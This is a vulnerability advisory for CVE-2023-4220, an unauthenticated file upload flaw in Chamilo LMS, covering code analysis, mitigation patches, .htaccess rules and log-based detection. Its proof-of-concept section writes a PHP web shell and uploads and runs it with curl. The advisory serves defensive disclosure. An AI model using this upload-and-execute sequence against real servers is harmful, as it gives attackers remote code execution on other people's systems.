Summary

Product Chamilo
Vendor Chamilo
Severity High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution.
Affected Versions <= v1.11.24
Tested Versions v1.11.24 (latest version as of writing)
CVE Identifier CVE-2023-4220
CVE Description Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
CWE Classification(s) CWE-434: Unrestricted Upload of File with Dangerous Type
CAPEC Classification(s) CAPEC-650: Upload a Web Shell to a Web Server

CVSS3.1 Scoring System

Base Score: 8.1 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) High
Privileges Required (PR) None
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview

Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.

Vulnerability Summary

The big file upload functionality by /main/inc/lib/javascript/bigupload/inc/bigUpload.php allows arbitrary files to be uploaded to /main/inc/lib/javascript/bigupload/files directory within the web root. Note that although this directory does not exist by default, it may be created using another arbitrary directory creation vulnerability (e.g. CVE-2023-3368) for the exploit to be successful.

An unauthenticated attacker may exploit this vulnerability to perform stored cross-site scripting attacks, as well as obtain remote code execution.

Vulnerability Details

The vulnerable portion of /main/inc/lib/javascript/bigupload/inc/bigUpload.php is shown below:

class BigUploadResponse
{
    ...
    public function postUnsupported()
    {
        $name = $_FILES['bigUploadFile']['name']; // [1]
        $size = $_FILES['bigUploadFile']['size'];
        $tempName = $_FILES['bigUploadFile']['tmp_name'];

        if (filesize($tempName) > $this->maxSize) {
            return get_lang('UplFileTooBig');
        }

        if (move_uploaded_file($tempName, $this->getMainDirectory().$name)) { // [2]
            return get_lang('FileUploadSucces');
        } else {
            return get_lang('UplUnableToSaveFile');
        }
    }
    ...
}

Observe that at [1], the user-supplied filename is saved into $name and used at [2] by move_uploaded_file(). This uploads the file into main directory at /main/inc/lib/javascript/bigupload/files without any prior sanitisation performed on the filename.

class BigUploadResponse
{
    ...
    const MAIN_DIRECTORY = '../files/';
    ...
    public function getMainDirectory()
    {
        return $this->mainDirectory;
    }
    ...
}

Consequently, an unauthenticated attacker can simply upload a PHP web shell to obtain unauthenticated remote code execution.

Exploit Conditions

An unauthenticated attacker is expected to be able to execute this exploit scenario reliably if the /main/inc/lib/javascript/bigupload/files directory exists within the web root directory and is writable by the webserver.

Proof-of-Concept

  1. Ensure that the /<path-to-webroot>/main/inc/lib/javascript/bigupload/files/ directory exists on the target system:
    $ mkdir -p /<path-to-webroot>/main/inc/lib/javascript/bigupload/files/
    
  2. On the attacker’s machine, run the following commands to create, upload and execute a PHP web shell:
    $ echo '<?php system("id"); ?>' > rce.php
    $ curl -F '[email protected]' 'http://<chamilo>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
    The file has successfully been uploaded.
    $ curl 'http://<chamilo>/main/inc/lib/javascript/bigupload/files/rce.php'
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
  3. Observe that the id shell command is successfully executed, confirming the unrestricted file upload vulnerability.

Suggested Mitigations

Ensure that the user-supplied filename is sanitised accordingly to prevent files with dangerous file extensions from being uploaded.

For example:

    public function postUnsupported()
    {
-       $name = $_FILES['bigUploadFile']['name'];
+       $name = disable_dangerous_file(
+           api_replace_dangerous_char($_FILES['bigUploadFile']['name'])
+       );
        $size = $_FILES['bigUploadFile']['size'];
        $tempName = $_FILES['bigUploadFile']['tmp_name'];

        if (filesize($tempName) > $this->maxSize) {
            return get_lang('UplFileTooBig');
        }

        if (move_uploaded_file($tempName, $this->getMainDirectory().$name)) {
            return get_lang('FileUploadSucces');
        } else {
            return get_lang('UplUnableToSaveFile');
        }
    }

However, note that disable_dangerous_file() only prevents PHP and .htaccess files, and do not prevent uploading of HTML files. As such, it is still possible to achieve unauthenticated stored cross-site scripting (XSS) by uploading a HTML file.

It is therefore recommended to enhance the implementation of disable_dangerous_file() in main/inc/lib/fileUpload.lib.php to also prevent uploading of HTML files.

Lastly, it is advised to add the following rules to the default .htaccess file:

# Disallow direct access to /main/inc/lib/javascript/bigupload/files
RedirectMatch 403 ^/main/inc/lib/javascript/bigupload/files

# Disallow MIME sniffing to prevent XSS from unknown/incorrect file extensions 
Header always set X-Content-Type-Options nosniff

End users are encouraged to update to the latest version of Chamilo.

Detection Guidance

It is possible to detect the exploitation of this vulnerability by:

  1. Checking the server’s access logs for all requests made to /main/inc/lib/javascript/bigupload/inc/bigUpload.php with action query parameter set to post-unsupported;
  2. Checking the server’s access logs for all requests made to /main/inc/lib/javascript/bigupload/files/*;
  3. Checking /<path-to-webroot>/main/inc/lib/javascript/bigupload/files directory for presence of PHP or .htaccess files.

Credits

Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline

  • 2023-09-04 Vendor Disclosure
  • 2023-09-06 Initial Vendor Contact
  • 2023-09-27 Vendor Patch Release (v1.11.26) completely fixing vulnerability
  • 2023-09-29 Vendor published the vulnerability sumamry
  • 2023-09-29 Mutual agreement to delay the publication of vulnerability details was reached in light of the recent in-the-wild exploitation of Chamilo N-day vulnerability (CVE-2023-34960)
  • 2023-11-28 Public Release